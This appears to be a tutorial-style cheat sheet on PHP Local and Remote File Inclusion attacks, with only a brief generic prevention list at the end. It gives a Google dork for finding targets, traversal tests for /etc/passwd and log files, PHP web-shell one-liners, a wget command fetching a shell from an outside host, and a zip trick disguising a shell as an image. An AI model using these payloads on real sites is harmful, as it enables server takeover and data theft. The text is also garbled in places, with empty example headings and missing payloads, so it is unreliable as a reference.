LFI (Local File Inclusion and RFI (Remote File Inclusion) – The Website Security Vulnerabilities
A File inclusion vulnerability is a type of vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time.
A file include vulnerability is distinct from a generic Directory Traversal Attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution. Successful exploitation of a file include vulnerability will result in remote code execution on the web server that runs the affected web application.
Local File Inclusion :
Local File Inclusion (LFI) is similar to a Remote File Inclusion vulnerability except instead of including remote files, only local files i.e. files on the current server can be included for execution. This issue can still lead to remote code execution by including a file that contains attacker-controlled data such as the web server’s access logs.
Example of LFI
Type of call:
Type of call:
Tpye of calls:
Type of call:
That is to include the file of the server in our browser
<?php include($_GET[”]) ?>
Google dork: inurl:.php?page=
Example : www.xyz.com/contacts.php?page=abc.php
test : www.xyz.com/contacts.php?page=../xyz.php
Now in linux server there is etc/passwd file which contain username and password of all the domains hosted on the same server
proc/self/environ is the writable file by the end user
or var/log/httpd-access.log is also writable
usr/local/apache/conf/httpd.conf —-> gives the path of all logs file
<?php passthru($_GET[‘cmd’]) ?>
<?php system($_GET[‘cmd’]) ?>
<?php exec($_GET[‘cmd’]) ?>
wget http://xyz.com/abc.txt -O shell.php
How to Test Local File Inclusion
Since LFI occurs when paths passed to “include” statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters.
Consider the following example:
This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.
Typical proof-of-concept would be to load passwd file:
Remote File Inclusion:
Remote File Inclusion (RFI) occurs when the web application downloads and executes a remote file. These remote files are usually obtained in the form of an HTTP or FTP URI as a user-supplied parameter to the web application.
RFI – Remote file inclusion
If allow_url_include is On in php.ini, then we can inject a shell directly.
You only need to load by GET or POST directly to an URI with the shell (using a non PHP extension):
How To Test RFI
Since RFI occurs when paths passed to “include” statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:
$incfile = $_REQUEST["file"]; include($incfile.".php");
In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list), so this snippet of code results vulnerable to this type of attack. Consider infact the following URL:
In this case the remote file is going to be included and any code contained in it is going to be run by the server.
Basic LFI (null byte, double encoding and other tricks) :
Interesting files to check out :
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
Basic RFI (null byte, double encoding and other tricks) :
LFI / RFI Wrappers :
LFI Wrapper rot13 and base64 – php://filter case insensitive.
Can be chained with a compression wrapper.
LFI Wrapper ZIP :
echo "</pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
RFI Wrapper DATA with “” payload :
RFI Wrapper EXPECT :
XSS via RFI/LFI with “” payload :
LFI to RCE via Upload :
Miscellaneous PayLoads and Tricks
Forbidden 403 ?
Try One Of These:
Prevention from LFI and RFI Attacks
- Use Vulnerability Scanners
- Use Web Application Firewall (WAF)
- Fix your code to secure.
OSINT, Wikipedia, Github, Twitter